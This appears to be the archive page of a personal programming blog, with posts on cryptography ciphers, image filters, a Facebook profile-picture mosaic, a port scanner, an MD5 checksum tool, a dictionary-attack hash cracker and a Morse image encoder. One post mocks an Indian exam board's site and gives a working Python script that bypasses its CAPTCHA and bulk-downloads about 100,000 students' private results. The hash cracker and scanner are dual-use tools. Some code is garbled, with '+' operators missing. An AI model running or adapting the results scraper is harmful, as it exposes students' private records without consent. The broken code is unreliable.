Showing posts with label Python. Show all posts
Showing posts with label Python. Show all posts

Mosaic using Facebook profile pictures

We can easily download profile pictures of people using Facebook's Graph API. For instance, to download the profile picture of Mark Zuckerburg (Facebook ID - 4) you can simply use this link. Following the pattern we can download a lot of profile pictures by simply increasing the Facebook ID sequentially beginning at 4 (1,2 and 3 aren't used). You cannot however download the profile pictures of all users using this method because at this point of time Facebook ID naming pattern has changed but that pattern is also not too tough to figure out.

A scaled version of the mosaic of first 3249 profile pictures. The original file was 61 MB large.

Here are the steps I followed to create a mosaic of first 3249 profile pictures on Facebook:

  1. For each fb-id beginning at 4, check if it is the default silhouette of Facebook using json data obtained from this link.
  2. If the Image is not silhouette then download it.
  3. Resize the Image to 100x100 pixels.
  4. Join the resized images to form a mosaic.

Check out the python script here: https://github.com/abdulfatir/fb-mosaic

Cryptography - Ciphers I

In the previous article, I gave an introduction to cryptology and a demonstration of how ciphers work. I started with the very basic cipher, the Caesar cipher. In this article we will see how Caesar cipher can be improved and are introduced to other ciphers.

Poly-alphabetic Cipher

What makes Caesar cipher vulnerable? The fact that it can be cracked in only 25 attempts at the maximum or even less if you're smart. The polyalphabetic cipher comes to our rescue. In polyalphabetic cipher the key is a word rather than a number (shift amount, as in Caesar cipher). The key should be less than or equal to the plain-text we input.

Let us take a sample input: thisisamessage

And a sample key: secret

Each letter of the plain-text is first mapped to each letter from the key as follows:

t  h  i  s  i  s  a  m  e  s  s  a  g  e
20 8  9  19 9 19  1 13  5 19 19  1  7  5
s  e  c  r  e  t  s  e  c  r  e  t  s  e
19 5  3 18  5 20  19 5  3 18  5 20 19  5

As you can see if the length of text is not the exact multiple of the length of the key we simply use the letters of the key until the input text is completed, like for the last letters (ge) of the message as many letters of key (se) are used. The number under each letter represents its place of occurrence in the English alphabet. Now each letter is shifted by the amount of the letter of key under it. For example, t is shifted by 19 and becomes m, h by 5 and becomes m, i by 3 and becomes l and so on.

After the shift the table becomes:

t  h  i  s  i  s  a  m  e  s  s  a  g  e
20 8  9  19 9 19  1 13  5 19 19  1  7  5
s  e  c  r  e  t  s  e  c  r  e  t  s  e
19 5  3 18  5 20  19 5  3 18  5 20 19  5
m  m  l  k  n  m  t  r  h  k  x  u  z  j

And hence, the cipher text is computed to be: mmlknmtrhkxuzj

As you may have judged by now, this cipher is relatively tougher to crack than the Caesar cipher.

Here is an example JavaScript implementation, try it out:

Check the page source for the JavaScript code or check this open-source project I made for the poly-alphabetic cipher in Java.

The poly-alphabetic cipher, though better than Caesar cipher, is very vulnerable because in the end it is a substitution cipher and if the data is more then patterns can be guessed and the encryption can be cracked.

One Time Pad

The One time pad is also a substitution cipher but it is better than Caesar and the poly-alphabetic cipher in a way that every letter in the input message is shifted by a random amount and hence a key is generated which is equal to the input data. What makes this cipher secure is the randomness.

A n letter word in this case can have 26n possible outcomes which for just a six letter word is 308915776 possibilities. This number increases exponentially as the input data size increases. The downside of this cipher however is that it generates a key which is equal to the input data which doubles the amount of data to be handled and transmitted.

Here is an example for you to try:

# OneTimePad.py
# Abdul Fatir
import sys
import random
def shiftAlpha(alpha,shift):
  if ord(alpha)+shift > 122:
    return chr(ord(alpha)+shift-122+96)
  else:
    return chr(ord(alpha)+shift)
  plaintext = sys.argv[1]
  cipher = ''
  for i in range(len(plaintext)):
    cipher += shiftAlpha(plaintext[i],random.randint(1,26))
  print cipher

The ciphers about which we read till now were all substitution ciphers. The next cipher which we're going to read about is a type of symmetric key encryption.

Block Cipher

This is a type of symmetric key encryption which is in use even today. This encryption is based on the XOR logic gate. The beauty of the XOR logic gate is that this operation is symmetric i.e. (X [xor] Y) [xor] Y = X

Now if we XOR the plain-text with a key we get the cipher-text and XORing the cipher-text again with the key returns the plain-text.

Every ASCII alphabet (letters, alphabets, special chars etc.) has a value ranging from 0 to 255 hence every ASCII character can be represented by an 8 bit (1 byte) binary number. For example, A in ASCII is 65 which will be equal to 01000001 in a 8 bit binary notation.

First the input text is converted into binary. Let us take hello as the input text and key as the key.

hello: 01101000 01100101 01101100 01101100 01101111

Next, it is checked if the length of the plain-text is an exact multiple of the length of the key. If yes, we proceed to the next step. If no, a number of pad bytes are added to make the plain-text an exact multiple on the key.

In our example the length of the key is 3 and the plain-text is 5. Now, 5 is not a multiple of 3 and the next multiple is 6. The difference between 6 and 5 is 1 so we need to add one pad character to make the input an exact multiple of 3. The pad character is a null byte (00000000) i.e. a binary number with all bits 0.

After adding the padding we are:

01101000 01100101 01101100 01101100 01101111 00000000

Now we convert the key to binary

key: 01101011 01100101 01111001

Then we map each character of the plain-text with each character of the key repeatedly:

A: 01101000 01100101 01101100 01101100 01101111 00000000
B: 01101011 01100101 01111001 01101011 01100101 01111001

Then simply do C = A [xor] B:

A: 01101000 01100101 01101100 01101100 01101111 00000000
B: 01101011 01100101 01111001 01101011 01100101 01111001
C: 00000011 00000000 00010101 00000111 00001010 01111001

The C is cipher-text which in integers is equal to: 3 0 21 7 10 121

These ASCII codes of the cipher-text if converted to the character come out to be very weird characters. Just for the sake of the example 3 0 21 7 10 121 in ASCII characters is:

♥ \0 § \a \n y
# BlockCipher.py
# Abdul Fatir
import sys
plaintext = sys.argv[1]
while 1:
  key = raw_input("Please enter the key:")
  if len(key) <= len(plaintext):
    break
  print "The key-length should be less than or equal to the plaintext"

keyindex = 0
ciphertext = ''
# Add padding
extra_chars = len(plaintext)%len(key)
if extra_chars > 0:
  for i in range(len(key)-extra_chars):
    plaintext += chr(0)
for index in range(len(plaintext)):
  if keyindex==len(key):
    keyindex=0
  cipherletter = chr(ord(plaintext[index])^ord(key[keyindex]))
  ciphertext += cipherletter
  keyindex+=1
  for i in range(len(ciphertext)):
    print (ord(ciphertext[i])),

References:

Learn Cryptography

Cryptography - An Introduction

Cryptography, derived from the Greek κρυπτός (kruptós: hidden, private), is the practice of storing and transferring information securely and privately in presence of third parties who may harm or take undue advantages if the information falls in their hands. The terms cryptography and cryptology are generally interchangeably used but cryptography and cryptanalysis and considered the subset of cryptology. 

In earlier times cryptography was synonymous with encryption i.e. the conversion of plain text data into cipher text (some kind of encoded text) but now it has evolved into a bigger topic going far beyond but also encompassing encryption.

Cryptography can be broadly divided into:

a) Encryption: The conversion of messages and data into an encoded form such that only people authorized to view it can actually view it. The input data referred to as plain-text is converted into an unreadable form called cipher-text and is then transmitted. When reached the destination the data can be decrypted using certain methods to get back the plain-text. 

Encryption can be classified into:

  • Private Key or Symmetric Encryption: In this technique of encryption the same key is used to encrypt and decrypt the message. A specific private key must be decided before performing symmetric encryption.
  • Public Key Encryption: In this technique a user issues a public key which is used to encrypt the message. The private key is only with the user making him the sole party who can decrypt the encoded message. For instance, A issues a public key. B encrypts his message with A's public key and sends the encrypted message to A. A then decrypts the message using his private key.
b) Hashing: Hashing is the process in which arbitrary data is passed into an irreversible function which then produces a fixed length output which can act as a digital fingerprint of the input data. The input data is called the message and the output data is generally termed the message digest. It should however be noted that hashing is not a form of data compression which can convert data of any length into fixed small length data as the output data cannot be converted back to the input message. 

Hashing may initially seem hard to accept (how can you simply not get the data back?) but let us take up an example. Take the modulus function, f(x) = x % 3. Now f(4) maps to 1 and f(25) also maps to 1. If I tell you that this function mapped to 1 you simply cannot tell if the input was 4,7,25 or any other number of type 3k + 1.

What are the uses of hashing, you ask?

I can tell you of two immediately.

i) Passwords: We can simply not store passwords as plain texts. Hence, they are stored as hashes instead. The hash of the input password is compared with the stored hash to tell if the password was correct.

ii) Checking file integrity: We download numerous files from the internet. Some of the websites provides hashes of their files on their website. As the attacks on the internet have increased enormously we cannot guarantee the originality of the file. We can instead download it, hash it and compare it with the hash given on the website to ensure the file downloaded without any corruption or remove the suspicion of incomplete downloads. Two files with the same content will have same hashes so we can check for duplicate files too.

For example,
A asks B, "What is the value of x3 - 15 for x=4?". A does not provide B with the answer (i.e. 49) but instead hashes it using MD5 (a hash function) and provides B with the hash (i.e. f457c545a9ded88f18ecee47145a72c0). Now A can find his own answer and hash it with MD5 to see if it is the correct answer. 

c) Steganography: It is the art of concealing a message inside another message. The cover message may seem totally normal or total garbage at the first view but has useful information under it. A technique of steganography for example is writing a private letter in between the lines of a normal letter using invisible ink.

For example,
How arE you doIng Sir? THat pERson told mE you were not well.
The above text has a hidden message inside it formed by joining all the capitalized letters: he is there.

Ciphers : The Caesar Cipher


Just because the article has sounded too theoretical until now, here I introduce some practicality into it. During the earlier ages the encryption was pen and paper type which is too fragile for today's computer age. Today we have much advanced and unbreakable encryption techniques. However, we should know the basics before going into advanced study about the topic. The very trivial types of encryption (or ciphers) are called the substitution ciphers which work by replacement of each letter of the message with another letter. 

The simplest of substitution ciphers is the Caesar cipher (it was used by Julius Caesar for sending messages, hence the name). In this we shift every letter by specific amount in the English alphabet to get the cipher-text.

For example,
ABCXYZ becomes BCDYZA on a shift of 1.


The Caesar Cipher
It is known that Caesar used a shift of 3 in his messages before sending them. We can see however that this is an extremely weak encryption because we have only 25 possible shifts (the 26th one returns the message as it is). We can easily try all the possible shifts and decode the message. The cracking will be explained later in another article about Cryptanalysis.


Here is an example JavaScript Caesar Cipher, Just enter the message, choose the shift amount and it will encode it for you:





The Example Code

The following section provides example of Caesar cipher in Java, Python and JavaScript which shifts all the alphabets by the shift factor but has no effect on numbers or other symbols.

Java:

// Caesar.java - Abdul Fatir
import java.io.*;
public class Caesar
{
	public static void main(String argv[])throws IOException
	{
		final String message = argv[0];
		BufferedReader reader=new BufferedReader(new InputStreamReader(System.in));
		System.out.print("Please enter a shift amount:");
		int shift=Integer.parseInt(reader.readLine());
		String cipher="";
		for(int i=0;i<message.length();i++)
		{
			int char_code = (int)message.charAt(i);
			int encoded_char=0;
			if(char_code >= 65 && char_code <= 90)
			{
				if(char_code + shift <= 90)
				{
					encoded_char = char_code + shift;
					cipher += ((char)encoded_char);
				}
				else
				{
					encoded_char = char_code + shift - 90;
					encoded_char += 64;
					cipher += ((char)encoded_char);
				}
			}
			else if(char_code >= 97 && char_code <= 122)
			{
				if(char_code + shift <= 122)
				{
					encoded_char = char_code + shift;
					cipher += ((char)encoded_char);
				}
				else
				{
					encoded_char = char_code + shift - 122;
					encoded_char += 96;
					cipher += ((char)encoded_char);
				}
			}
			
			else
			{
				cipher += ((char)char_code);
			}
		}
		System.out.print("The cipher-text is: "+cipher);
	}
}

Python:

# Caesar.py - Abdul Fatir
import sys
message = sys.argv[1]
shift = int(raw_input("Please enter a shift amount:"))
cipher = ''
for i in range(len(message)):
	charASCIIcode = ord(message[i])
	if charASCIIcode >= ord('A') and charASCIIcode <= ord('Z'):
		if charASCIIcode + shift <= ord('Z'):
			cipher += chr(charASCIIcode+shift)
		else:
			cipher += chr(charASCIIcode+shift-ord('Z')+ord('A')-1)
	elif charASCIIcode >= ord('a') and charASCIIcode <= ord('z'):
		if charASCIIcode + shift <= ord('z'):
			cipher += chr(charASCIIcode+shift)
		else:
			cipher += chr(charASCIIcode+shift-ord('z')+ord('a')-1)
	else:
		cipher += chr(charASCIIcode)
print 'The cipher-text is: %s' % cipher

JavaScript:

<script type="text/javascript">
	function encodeData()
	{
		var input_data = document.getElementsByName('raw_data')[0].value;
		var shift_factor = parseInt(document.getElementsByName('shift_factor')[0].value);
		var encoded = "";
		for(var i=0;i<input_data.length;i++)
		{
			var char_code = input_data.charCodeAt(i);
			if(char_code >= 65 && char_code <= 90)
			{
				if(char_code + shift_factor <= 90)
				{
					encoded_char = char_code + shift_factor;
					encoded += String.fromCharCode(encoded_char);
				}
				else
				{
					encoded_char = char_code + shift_factor - 90;
					encoded_char += 64;
					encoded += String.fromCharCode(encoded_char);
				}
			}
			else if(char_code >= 97 && char_code <= 122)
			{
				if(char_code + shift_factor <= 122)
				{
					encoded_char = char_code + shift_factor;
					encoded += String.fromCharCode(encoded_char);
				}
				else
				{
					encoded_char = char_code + shift_factor - 122;
					encoded_char += 96;
					encoded += String.fromCharCode(encoded_char);
				}
			}
			
			else
			{
				encoded += String.fromCharCode(char_code);
			}
		}
		document.getElementsByName('encoded_data')[0].value = encoded;
	}
	</script>


References and Further Readings:
[1] learncryptography.com/
[2] http://en.wikipedia.org/wiki/Cryptography
[3] http://en.wikipedia.org/wiki/Encryption
[4] http://en.wikipedia.org/wiki/Cryptographic_hash_function
[5] www.garykessler.net/library/crypto.html

'Secure and Private' Indian Websites : CISCE again!

Apparently, after the last year's breach of private and confidential marks data of students CISCE (Council For The Indian School Certificate Examinations, New Delhi) took certain protective measures to ensure no mass download of student data and to ensure the privacy for every student.

The following were the measures taken:

i) UID (Unique Identification): Each student is now given a unique ID instead of a sequential Index number for a group of students. So, now you cannot just add one to your Index number to see the result of the person who was sitting behind you in the examination.

ii) The CAPTCHA: As Indian websites are technically awesome with CAPTCHA, The Council gave us yet another example. You, apparently, need to enter the CAPTCHA each time you view a result.

Secure Enough? Bitch Please!

Cracking the Code:

The UID is a seven digit number! Of these the numbers of format 57xxxxx seem to work for the ICSE result. "So we can loop through each UID from 5700000 to 5800000 and download the results!" is what you are saying?

But the CAPTCHA!

Well guess what, you can simply send innumerable HTTP GET requests to the specific link with the same CAPTCHA. The GET request is sent to a URL of format:

http://www.cisce.org/Results/Result/ShowResult?courseCode=ICSE&uniqueId=<THE_UID_HERE>&captcha=<THE_CAPTCHA_CODE_HERE>&code=<THE_REQUEST_ID_HERE>

So, we visit http://www.cisce.org/Results to see a result, the genuine way. (You can be that honest, right?). View the page source and copy the RequestId. Now you have the RequestId and the CAPTCHA of 5 letters. Paste it at respective places in the link above with a valid UID and Bingo! The result is before you.

With that said you can simply automate the task to read the data of each and every student to you. But the UIDs are not sequential right? Okay, save the data in a database and sort by the specific school. Cool and simple enough.

For the proof hungry here is a proof of concept python script which saves the data of each student in HTML files for you.


#! /usr/bin/env python
# ICSEtroller.py
# Author : Abdul Fatir

import urllib2
startUID = 5700000
endUID = 5800000
HTTPopener = urllib2.build_opener()
URL_1 = "http://www.cisce.org/Results/Result/ShowResult?courseCode=ICSE&uniqueId="
URL_2 = "&captcha=NPJGV&code=xCleI05nxKpy8Utv4okpig=="

for i in range(startUID, endUID):
    HTTPresponse = HTTPopener.open(URL_1+str(i)+URL_2)
    received_data = HTTPresponse.read()
    _file = open(str(i)+".html","w")
    _file.write(received_data)
    _file.close()

    

Sepia and Image Negative Algorithms (with Python and Java code)

Two very common camera-effects which are found in all camera-abled devices are Sepia and Negative. Here the algorithms used to create the effects at RGB pixel level:

1) Sepia: This is a beautiful brownish oldie effect which is achieved by the following manipulation on the pixels:

OutputRedPixel = (R * .393) + (G *.769) + (B * .189)
OutputGreenPixel = (R * .349) + (G *.686) + (B * .168)
OutputBluePixel = (R * .272) + (G *.534) + (B * .131)

where R, B and G are input Red, Blue and Green pixels respectively. If a color exceeds 255 we simply use 255.

2) Negative: Remember the old-age light sensitive cameras which gave out negatives. Here is how we achieve the effect in digital images. We set the RGB value of each pixel to its complementary RGB value:

OutputRed = 255-R
OutputGreen = 255-G
OutputBlue = 255-B

Negate an image twice and you get the original image.

Here is the Python example code


#! /usr/bin/env python
# SNToner.py
# Author: Abdul Fatir
# E-Mail: abdulfatirs@gmail.com

from PIL import Image
# Opening the Raw Image File
raw_image = Image.open("raw.png")
WIDTH,HEIGHT = raw_image.size
# Creating Image objects for Sepia and Negative Images
sepia_image = Image.new("RGB",(WIDTH,HEIGHT))
neg_image = Image.new("RGB",(WIDTH,HEIGHT))
# Loading Pixel Data for all images 
raw_pixels = raw_image.load()
sepia_pixels = sepia_image.load()
neg_pixels = neg_image.load()

for Y in range(HEIGHT):
	for X in range(WIDTH):
		# Getting RGB of each pixel
		R,G,B = raw_pixels[X,Y]
		oR = (R*.393) + (G*.769) + (B*.189)
		oG = (R*.349) + (G*.686) + (B*.168)
		oB = (R*.272) + (G*.534) + (B*.131)
		# Writing pixel data after doing necessary manipulations
		sepia_pixels[X,Y] = (int(oR),int(oG),int(oB))
		neg_pixels[X,Y] = (255-R,255-G,255-B)
# Saving the images
sepia_image.save('sepia.png')
neg_image.save('negative.png')

Here is a similar Java code:

import java.io.File;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.awt.Color;
import static java.lang.System.out;
public class SepiaNegativeToner
{
	public static String ImageName="raw.png";
	
	public static void main(String args[])throws IOException
	{
		BufferedImage image,sepia,negative;
		
		image = ImageIO.read(new File(ImageName));
		int WIDTH = image.getWidth();
		int HEIGHT = image.getHeight();
		
		sepia = new BufferedImage(WIDTH,HEIGHT,image.getType());
		negative = new BufferedImage(WIDTH,HEIGHT,image.getType());
		
		// Looping through each pixel
		for(int y=0;y<HEIGHT;y++)
		{
			for(int x=0;x<WIDTH;x++)
			{
				int RGB = image.getRGB(x,y);
				int R = (RGB >> 16) & 0xff; // Red Value
				int G = (RGB >> 8) & 0xff;	// Green Value
				int B = (RGB) & 0xff;		// Blue Value
				
				// Output RGB values for Sepia
				int outputRed = (int)((R * .393) + (G *.769) + (B * .189));
				int outputGreen = (int)((R * .349) + (G *.686) + (B * .168));
				int outputBlue = (int)((R * .272) + (G *.534) + (B * .131));
				
				outputRed = Math.min(outputRed,255);
				outputGreen = Math.min(outputGreen,255);
				outputBlue = Math.min(outputBlue,255);
				sepia.setRGB(x,y, new Color(outputRed,outputGreen,outputBlue).getRGB());
				
				// Making the negative pixel
				Color complementary = new Color(255-R,255-G,255-B);
				negative.setRGB(x,y, complementary.getRGB());
			}
		}
		
		// Saving the Images
		ImageIO.write(sepia,"PNG",new File("sepia.png"));
		ImageIO.write(negative,"PNG",new File("negative.png"));
	}
}

A Basic Port Scanner in Python, Java

One of the first tools you need for a penetration test is a Port Scanner. There are some very awesome port scanners out there like Nmap but did you ever wonder how to make one? Here's how: 


#! /usr/bin/env python
# PortScanner.py
# Author: Abdul Fatir
# E-Mail: abdulfatirs@gmail.com

from socket import *
HostName = raw_input("Host Name: ")
try:
	# gethostbyname(HostName) returns the IPv4 address of a website
	IPaddress = gethostbyname(HostName)
except:
	print "[-] Could not find host."
	quit()
portstring = raw_input("Ports (separated by commas):")
ports = portstring.split(",")
print "\n[*] Scan results for "+HostName+" ("+IPaddress+"):"
# setdefaulttimeout(1) sets the waiting time for website response to 1 seconds. This may result in closed port even though the port may be open if it takes more than 1 second.
setdefaulttimeout(1)
for port in ports:
	try:
		connection = socket(AF_INET,SOCK_STREAM)
		# socket.connect((IP,PORT)) connect to the IP at given port.
		connection.connect((IPaddress,int(port)))
		connection.send('hello\r\n')
		# socket.recv(BUFFER_SIZE) receives the server response
		data = connection.recv(8)
		# If we have reached this far that means the port is open.
		print "\t[+] "+port+"/tcp open"
	except:
		print "\t[-] "+port+"/tcp closed"
	finally:
		connection.close()

Download the python code from pastebin

Here is a similar example in Java:


import java.net.*;
import java.util.*;
import java.io.*;
import static java.lang.System.out;
public class PortScanner
{
    public static void main(String args[])throws IOException
    {
        BufferedReader br=new BufferedReader(new InputStreamReader(System.in));
        out.print("HostName: ");
        String host=br.readLine();
        InetAddress address=null;
        try
        {
            address = InetAddress.getByName(host);
        }
        catch(UnknownHostException uhe)
        {
            out.print("[-] Could not find host.");
            System.exit(0);
        }
        out.print("Ports (separated by commas): ");
        String portstring = br.readLine();
        StringTokenizer ports = new StringTokenizer(portstring,",");
        out.println("[*] Scan results for "+host+" ("+address.getHostAddress()+"):");
        while(ports.hasMoreTokens())
        {
            int port = 0;
            try{
                port = Integer.parseInt(ports.nextToken());
                Socket conn=new Socket();
                conn.connect(new InetSocketAddress(host,port),1000);
                conn.close();
                out.println("\t[+] "+port+"/tcp open");
            }
            catch(SocketTimeoutException ste)
            {
                out.println("\t[-] "+port+"/tcp closed");
            }
        }
        
    }
}

Download the Java code from pastebin

Note: This is a very basic example and must not be used as a substitute for tools like Nmap.

Playing with Images in Python : PIL Basics

The PIL short for Python Imaging Library, is a very powerful image processing library in python. It can perform awesome image processing tasks in few lines of code. The following is a code example of some basic things you can do with PIL:

Download the code and files from here.

Calculate MD5 Checksum of a File in Python

With increased MITM (Man In The Middle) attacks it is essential that you check the authenticity of files you download from the Internet. One of the ways of doing so is checking the MD5 sum of the file and comparing it with the checksum given on the download providers website.

Here's how to perform this task in Python:

#! /usr/bin/env python
# ChecksumChecker.py
# Author: Abdul Fatir
# E-Mail: abdulfatirs@gmail.com

from threading import Thread
import hashlib
import optparse

def getChecksum(file_path,check_hash):
 file_handle = open(file_path,"rb")
 _md5 = hashlib.md5()
 while True:
  _buffer = file_handle.read()
  if not _buffer:
   break
  _md5.update(_buffer)
 digest = _md5.hexdigest()
 print "[ ] File's MD5 checksum is: " digest
 if (check_hash != None):
  if(check_hash.lower() == digest):
   print "[ ] Hash matched: The file is authentic."
  else:
   print "[-] Hash mis-match: The file is not authentic."

def Main():
 parser = optparse.OptionParser('usage: %prog -f <filename> [-m <md5 hash>]')
 parser.add_option('-f', dest='file_path', type='string', help='Please specify a file')
 parser.add_option('-m', dest='check_hash', type='string')
 (options,arg) = parser.parse_args()
 if (options.file_path == None):
  print parser.usage
  exit(0)
 else:
  file_path = options.file_path
  check_hash = options.check_hash
 print "[*] Hashing file '"  file_path  "'...."
 hash_thread = Thread(target=getChecksum,args=(file_path,check_hash))
 hash_thread.start()
 hash_thread.join()
if __name__  == '__main__':
 Main()

Please don't copy paste this code, download it from pastebin.

Usage examples:

Suppose you downloaded a file named hello.exe which has an MD5 hash 5D41402ABC4B2A76B9719D911017C592 given on the Internet then to check if you downloaded the correct file use ChecksumChecker.py as follows:

$ python ChecksumChecker.py -f <path to hello.exe> -m 5D41402ABC4B2A76B9719D911017C592

To simply get the MD5 sum of a file, do:

$ python ChecksumChecker.py -f <path to hello.exe>

Note:

  1. This is a prototype. You can added more algorithms like SHA1 and SHA256 as per your requirements.
  2. This code executes in Python 2.7.x

Dictionary Attack in Python

Got an MD5 or SHA1 password hash and a password dictionary? Want to crack the hashed password but don't want to use tools like Cain or Hydra? Here's how to write a hash cracker in python from scratch:

#! /usr/bin/env python
# HashCrack.py
# Author: Abdul Fatir
# E-Mail: abdulfatirs@gmail.com

import hashlib
import optparse

def crackMD5Hash(_file,_hash):
 _wordlistfile = open(_file,"r")
 cracked = False
 for word in _wordlistfile:
  _purgedword = word.strip()
  md5 = hashlib.md5()
  md5.update(_purgedword)
  _wordhash = md5.hexdigest()
  if _wordhash == _hash:
   
   print "[ ] Hash (" _hash  ") cracked: " _purgedword
   cracked = True
   break
 if(not cracked):
  print "[-] Unable to crack the hash."
  
def crackSHA1Hash(_file,_hash):
 _wordlistfile = open(_file,"r")
 cracked = False
 for word in _wordlistfile:
  _purgedword = word.strip()
  sha1 = hashlib.sha1()
  sha1.update(_purgedword)
  _wordhash = sha1.hexdigest()
  if _wordhash == _hash:
   print "[ ] Hash (" _hash  ") cracked: " _purgedword
   cracked = True
   break
 if(not cracked):
  print "[-] Unable to crack the hash."

def Main():
 argparser = optparse.OptionParser("usage %prog -f <wordlist file> -p <hash to be cracked> -a <hash algorithm>")
 argparser.add_option('-f', dest='filename',type='string',help='Please specify a word list')
 argparser.add_option('-p', dest='passhash',type='string',help='Please specify a password hash to be cracked')
 argparser.add_option('-a', dest='hashalgo',type='string',help='Please specify a hash algorithm')
 (options, arg) = argparser.parse_args()
 if (options.filename == None) | (options.passhash == None) | (options.hashalgo == None):
  print argparser.usage
  exit(0)
 else:
  filename = options.filename
  passhash = options.passhash
  hashalgo = options.hashalgo
 print "[*] Cracking hash ..."
 if (hashalgo == 'MD5')|(hashalgo == 'md5'):
  crackMD5Hash(filename,passhash)
 elif (hashalgo == 'SHA1')|(hashalgo == 'sha1'):
  crackSHA1Hash(filename,passhash)
 
if __name__ == '__main__':
 Main()

Download this code from pastebin.

Notes:

  1. This is a mere prototype of how to perform a manual dictionary attack. This can be improved to much extent and more hashing algorithms can be added to it. Also consider using separate threads for searching password than the main thread in case of large dictionaries.
  2. This code requires Python 2.7.x.

Suggested Further Readings:

  1. Read more about python's hashlib and threading modules to improve this code.
  2. Read more on cryptographic hashing and other hashing algorithms. Refer to http://learncryptography.com for basic knowledge about cryptography.

Image Encoding & Decoding in Python

Wondering what the image is?

That's HELLO.THERE.YOU.ARE.AWESOME encoded in this image.

The encoding is:

The pixels in the above image are numbered 0..99 for the first row, 100..199 for the second row etc.
White pixels represent ASCII codes.
The ASCII code for a particular white pixel is equal to the offset from the last white pixel.
For example, the first white pixel at location 65 would represent ASCII code 65 ('A'), the next at location 131 would represent ASCII code (131 - 65) = 66 ('B') and so on.
The text contained in the image is the answer encoded in Morse, where "a test" would be encoded as ".- / - . ... -"

So, how do we decode this image into readable form?

Program? Yes, you're right but which language? You can use any language out there and analyze the image but python with PIL (Python Imaging Library) makes it incredibly simple task.

Here is the python code to do this:

#ImageDecoder.py

from PIL import Image
import optparse

morse_dict={
 'A':'.-','B':'-...','C':'-.-.','D':'-..','E':'.','F':'..-.',
 'G':'--.','H':'....','I':'..','J':'.---','K':'-.-','L':'.-..',
 'M':'--','N':'-.','O':'---','P':'.--.','Q':'--.-','R':'.-.',
 'S':'...','T':'-','U':'..-','V':'...-','W':'.--','X':'-..-',
 'Y':'-.--','Z':'--..','0':'-----','1':'.----','2':'..---','3':'...--',
 '4':'....-','5':'.....','6':'-....','7':'--...','8':'---..','9':'----.',
 '.':'.-.-.-',',':'--..--','?':'..--..',"'":'.----.','/':'-..-.','(':'-.--.-',
 ')':'-.--.-',':':'---...',';':'-.-.-.','=':'-...-',' ':'.-.-.','-':'-....-',
 '_':'..--.-','"':'.-..-.','$':'...-..-','':''
 }
def getLetterForMorse(l):
 
 for key, value in morse_dict.iteritems():
  if(value == l):
   return str(key)
def Main():
 parser = optparse.OptionParser('usage: python ImageDecoder.py -i <input PNG image name>')
 parser.add_option('-i',dest='inPNG',type='string',help='Please specify the input image file')
 (options,arg) = parser.parse_args()
 if (options.inPNG == None):
  print parser.usage
  exit(0)
 else:
  inPNG = options.inPNG
 _img = Image.open(inPNG)
 W = _img.size[0]
 H = _img.size[1]
 _pixs = _img.load()
 lastOff = 0
 _letter = ""
 answer = ""

 for y in range(H):
  for x in range(W):
   if(_pixs[x,y] == (255,255,255)):
    offset = y*100   x - lastOff
    lastOff = y*100   x
    _char = chr(offset)
    if(_char != ' '):
     _letter  = _char
    else:
     answer  = getLetterForMorse(_letter)
     _letter = ""

 print answer
 
if __name__ == '__main__':
 Main()

Download ImageDecoder.py from pastebin.

Okay, now when we did it we think of creating an encoder which can encode text into such kind of images.

Python again. Here we go:

#ImageEncoder.py 

from PIL import Image
import optparse

morse_list={
'A':'.-','B':'-...','C':'-.-.','D':'-..','E':'.','F':'..-.',
'G':'--.','H':'....','I':'..','J':'.---','K':'-.-','L':'.-..',
'M':'--','N':'-.','O':'---','P':'.--.','Q':'--.-','R':'.-.',
'S':'...','T':'-','U':'..-','V':'...-','W':'.--','X':'-..-',
'Y':'-.--','Z':'--..','0':'-----','1':'.----','2':'..---','3':'...--',
'4':'....-','5':'.....','6':'-....','7':'--...','8':'---..','9':'----.',
'.':'.-.-.-',',':'--..--','?':'..--..',"'":'.----.','/':'-..-.','(':'-.--.-',
')':'-.--.-',':':'---...',';':'-.-.-.','=':'-...-',' ':'.-.-.','-':'-....-',
'_':'..--.-','"':'.-..-.','$':'...-..-','':''
}

def EncodeToImage(data,_PNG):
 letters = list(data)
 pixsum = 0
 whitePixels = []
 for letter in letters:
  _lettermorse = morse_list[letter]
  _morsechars = list(_lettermorse)
  for morsechar in _morsechars:
   intval = ord(morsechar)
   pixsum  = intval
   whitePixels.append(pixsum)
  pixsum  = 32
  whitePixels.append(pixsum)
 W = 100
 H = whitePixels[len(whitePixels)-1]/100   1
 img = Image.new( 'RGB', (W,H), "black")
 pixels = img.load()
 
 for whitePixel in whitePixels:
  y = whitePixel/100
  x = whitePixel%100
  pixels[x,y] = (255,255,255)
 img.save(_PNG)

def Main():
 parser = optparse.OptionParser('usage: python ImageEncoder.py -o <output PNG image name>')
 parser.add_option('-o',dest='outPNG',type='string',help='Please specify the output image file')
 (options,arg) = parser.parse_args()
 if (options.outPNG == None):
  print parser.usage
  exit(0)
 else:
  outPNG = options.outPNG
 datatoencode = raw_input("Please enter data to encode (without spaces):")
 EncodeToImage(datatoencode.upper(),outPNG)
 
if __name__ == '__main__':
 Main()

Download ImageEncoder.py from pastebin.

Notes:

  1. The concept for this encoding has been taken from Hack This Site's programming challenge 2 and the first part i.e. the ImageDecoder.py is also the solution of this HTS challenge. I took it further to create an encoder to have fun.
  2. You need to install Python 2.7.x and PIL (Python Imaging Library) for this to work.